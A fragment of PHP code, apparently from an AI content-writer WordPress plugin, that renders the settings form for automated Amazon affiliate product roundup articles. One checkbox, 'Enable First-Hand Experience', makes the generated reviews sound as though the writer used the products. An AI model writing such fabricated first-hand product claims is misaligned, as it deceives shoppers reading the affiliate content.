step="1" min="0" placeholder="#" name="aiomatic_amazon_list[max][]" value="' . esc_attr($max) . '" class="cr_width_60" required></td> <td class="cr_width_70 cr_center"> <input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"><h3>' . esc_html__("AI Assistant Options", 'aiomatic-automatic-ai-content-writer') . ':</h3> </td></tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer') . '</div> </div> <b>' . esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer') . '</b> </td> <td><select id="assistant_id' . esc_html($cont) . '" name="aiomatic_amazon_list[assistant_id][]" class="cr_width_full" onchange="assistantSelected(\'' . esc_html($cont) . '\');">'; if($all_assistants === false) { $output .= '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { $output .= '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { $output .= '<option value=""'; if($assistant_id == ''){$output .= ' selected';} $output .= '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { $output .= '<option value="' . $myassistant->ID .'"'; if($assistant_id == $myassistant->ID){$output .= ' selected';} $output .= '>' . esc_html($myassistant->post_title); $output .= '</option>'; } } } $output .= '</select> </td> </tr> <tr><td colspan="2"><h3>' . esc_html__('Amazon Search Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . sprintf( wp_kses( __( "Insert your Amazon Associate ID (Optional). Learn how to get one <a href='%s' target='_blank'>here</a>. Also, you need to sign up for Amazon Affiliate program <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html', 'https://affiliate-program.amazon.com/assoc_credentials/home' ) . ' </div> </div> <b>' . esc_html__("Amazon Associate ID (Optional)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_amazon_list[affiliate_id][]" value="' . esc_attr($affiliate_id) . '" placeholder="Please insert your Amazon Affiliate ID" class="cr_width_full"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum length of captions in prompts. This is useful to have, when captions can be very long.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Amazon Target Country", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select id="source" name="aiomatic_amazon_list[target_country][]" class="cr_width_full">'; foreach ($amaz_countries as $key => $value) { $output .= '<option value="' . esc_html($key) . '"'; if ($target_country == $key) { $output .= " selected"; } $output .= '>' . esc_html($value) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a minimum price for the imported items? Price is in pennies: 1000 is 10$.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Min Price in Pennies", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="1" id="min_price" name="aiomatic_amazon_list[min_price][]" value="' . esc_attr($min_price) . '" class="cr_width_full" placeholder="Input a minimum price"> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a maximum price for the imported items? Price is in pennies: 1000 is 10$.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Max Price in Pennies", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="1" id="max_price" name="aiomatic_amazon_list[max_price][]" value="' . esc_attr($max_price) . '" class="cr_width_full" placeholder="Input a maximum price"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the maximum number of products to include in the product roundup article. You can also enter number ranges, like: 2-4", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Max Number Of Products To Include", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text"id="max_products' . esc_html($cont) . '" name="aiomatic_amazon_list[max_products][]" placeholder="3-4" class="cr_width_full" value="' . esc_attr($max_products) . '"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the type of sorting of the returned results. This will work only if you also set a value to the \'Amazon Category\' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Sort Results By", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select id="sort_results" name="aiomatic_amazon_list[sort_results][]" class="cr_width_full"> <option value="none"'; if ($sort_results == 'none') { $output .= ' selected'; } $output .= '>' . esc_html__("None", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Relevance"'; if ($sort_results == 'Relevance') { $output .= ' selected'; } $output .= '>' . esc_html__("Relevance", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Price:LowToHigh"'; if ($sort_results == 'Price:LowToHigh') { $output .= ' selected'; } $output .= '>' . esc_html__("APrice:LowToHigh", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Price:HighToLow"'; if ($sort_results == 'Price:HighToLow') { $output .= ' selected'; } $output .= '>' . esc_html__("Price:HighToLow", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="NewestArrivals"'; if ($sort_results == 'NewestArrivals') { $output .= ' selected'; } $output .= '>' . esc_html__("NewestArrivals", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="Featured"'; if ($sort_results == 'Featured') { $output .= ' selected'; } $output .= '>' . esc_html__("Featured", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="AvgCustomerReviews"'; if ($sort_results == 'AvgCustomerReviews') { $output .= ' selected'; } $output .= '>' . esc_html__("AvgCustomerReviews", 'aiomatic-automatic-ai-content-writer') . '</option </select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("If enabled, the products will be shuffled, randomizing their order on each run.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Randomize Product Order", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="shuffle_products" name="aiomatic_amazon_list[shuffle_products][]"'; if($shuffle_products == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('AI Writer Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("If enabled, the article will be written from a perspective that sometimes can make it sound like the writer has first-hand experience with the products.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Enable First-Hand Experience", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="first_hand" name="aiomatic_amazon_list[first_hand][]"'; if($first_hand == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select what you want to do with product titles in articles.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Product Titles To Content As", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="sections_role" name="aiomatic_amazon_list[sections_role][]"> <option value="h2"'; if ($sections_role == 'h2') { $output .= ' selected'; } $output .= '>' . esc_html__("h2", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="h3"'; if ($sections_role == 'h3') { $output .= ' selected'; } $output .= '>' . esc_html__("h3", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="b"'; if ($sections_role == 'b') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="i"'; if ($sections_role == 'i') { $output .= ' selected'; } $output .= '>' . esc_html__("Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="bi"'; if ($sections_role == 'bi') { $output .= ' selected'; } $output .= '>' . esc_html__("Bold and Italic", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="p"'; if ($sections_role == 'p') { $output .= ' selected'; } $output .= '>' . esc_html__("Paragraph", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="x"'; if ($sections_role == 'x') { $output .= ' selected'; } $output .= '>' . esc_html__("Plain Text", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="no"'; if ($sections_role == 'no') { $output .= ' selected'; } $output .= '>' . esc_html__("Don't Add Sections", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter the number of paragraphs to create for each section. These will also be set as article headings. You can also set value ranges, example: 5-7. In this case, a random number will be selected in this range. Please use only numeric values in this field. This field will set the value of the %%paragraphs_per_section%% shortcode.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Number Of Paragraphs Per Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" id="paragraph_count' . esc_html($cont) . '" name="aiomatic_amazon_list[paragraph_count][]" placeholder="2-3" class="cr_width_full" value="' . esc_attr($paragraph_count) . '"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add the product images to the article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Product Images To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="topic_images" name="aiomatic_amazon_list[topic_images][]"'; if($topic_images == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you don't want to add the product links directly to headings.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Don't Add Product Links to Headings", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="no_headlink" name="aiomatic_amazon_list[no_headlink][]"'; if($no_headlink == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you would like to add a relevant YouTube video to the end of the created article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add A Relevant YouTube Video To The Article", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="topic_videos" name="aiomatic_amazon_list[topic_videos][]"'; if($topic_videos == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the outro section header. This is optional.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_outro' . esc_html($cont) . '" name="aiomatic_amazon_list[title_outro][]" type="text" placeholder="Optional" class="coderevolution_gutenberg_input" value="' . esc_attr($title_outro) . '"/> </div> </td></tr> <tr><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Table of Contents section to the created post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article 'Table Of Contents' Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input type="checkbox" id="enable_toc" name="aiomatic_amazon_list[enable_toc][]"'; if($enable_toc == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="hideTOC' . esc_html($cont) . '"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the text of the Table of Contents section header. Default is: Table of Contents", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article 'Table Of Contents' Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="hideTOC' . esc_html($cont) . '"> <input id="title_toc' . esc_html($cont) . '" name="aiomatic_amazon_list[title_toc][]" type="text" placeholder="Table of Contents" class="coderevolution_gutenberg_input" value="' . esc_attr($title_toc) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Article 'Q&A' Section", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_qa" name="aiomatic_amazon_list[enable_qa][]"'; if($enable_qa == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the header text of the Q&A section header. Default is: Q&A", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article 'Q&A' Section Header Text", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="title_qa' . esc_html($cont) . '" name="aiomatic_amazon_list[title_qa][]" type="text" placeholder="Q&A" class="coderevolution_gutenberg_input" value="' . esc_attr($title_qa) . '"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to add a product comparison table to the created article.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Product Comparison Table", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="enable_table" name="aiomatic_amazon_list[enable_table][]"'; if($enable_table == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Content Parameters', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the language of the created content. This will set the value of the %%language%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Language", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="content_language' . esc_html($cont) . '" name="aiomatic_amazon_list[content_language][]" type="text" list="languages" placeholder="Created content language" class="coderevolution_gutenberg_input" value="' . esc_attr($content_language) . '"/> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing style of the created content. This will set the value of the %%writing_style%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Style", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_style' . esc_html($cont) . '" name="aiomatic_amazon_list[writing_style][]" type="text" list="writing_styles" placeholder="Created content writing style" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_style) . '"/> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the writing tone of the created content. This will set the value of the %%writing_tone%% shortcode, which can be used in prompts below. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Writing Tone", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="writing_tone' . esc_html($cont) . '" name="aiomatic_amazon_list[writing_tone][]" type="text" list="writing_tones" placeholder="Created content writing tone" class="coderevolution_gutenberg_input" value="' . esc_attr($writing_tone) . '"/> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Prompts', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Title. You can use the following shortcodes: %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Title Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[title_prompt][]" placeholder="Enter your title prompts, one per line" class="cr_width_full">' . esc_textarea($title_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the title generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Title Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_title_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_title_model)) { $topic_title_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_title_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Intro. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article intro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Intro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">' . esc_textarea($intro_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Intro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_intro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_intro_model)) { $topic_intro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_intro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%all_product_titles%%, %%article_so_far%%, %%last_section_content%%, %%all_product_info%%, %%product_title%%, %%product_description%%, %%language%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. If you have access to the Amazon API, you can set it up in the plugin and get access to the following advanced shortcodes also: %%product_score%%, %%product_edition%%, %%product_language%%, %%product_pages_count%%, %%product_publication_date%%, %%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, %%product_product_group%%, %%product_rating%%, %%product_ean%%, %%product_part_no%%, %%product_model%%, %%product_warranty%%, %%product_color%%, %%product_is_adult%%, %%product_dimensions%%, %%product_date%%, %%product_size%%, %%product_unit_count%%", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="3" cols="70" name="aiomatic_amazon_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">' . esc_textarea($content_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Content Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_content_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_content_model)) { $topic_content_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_content_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Q&A. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">' . esc_textarea($qa_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Q&A Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_qa_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_qa_model)) { $topic_qa_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_qa_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post outro. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">' . esc_textarea($outro_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Outro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_outro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_outro_model)) { $topic_outro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_outro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> 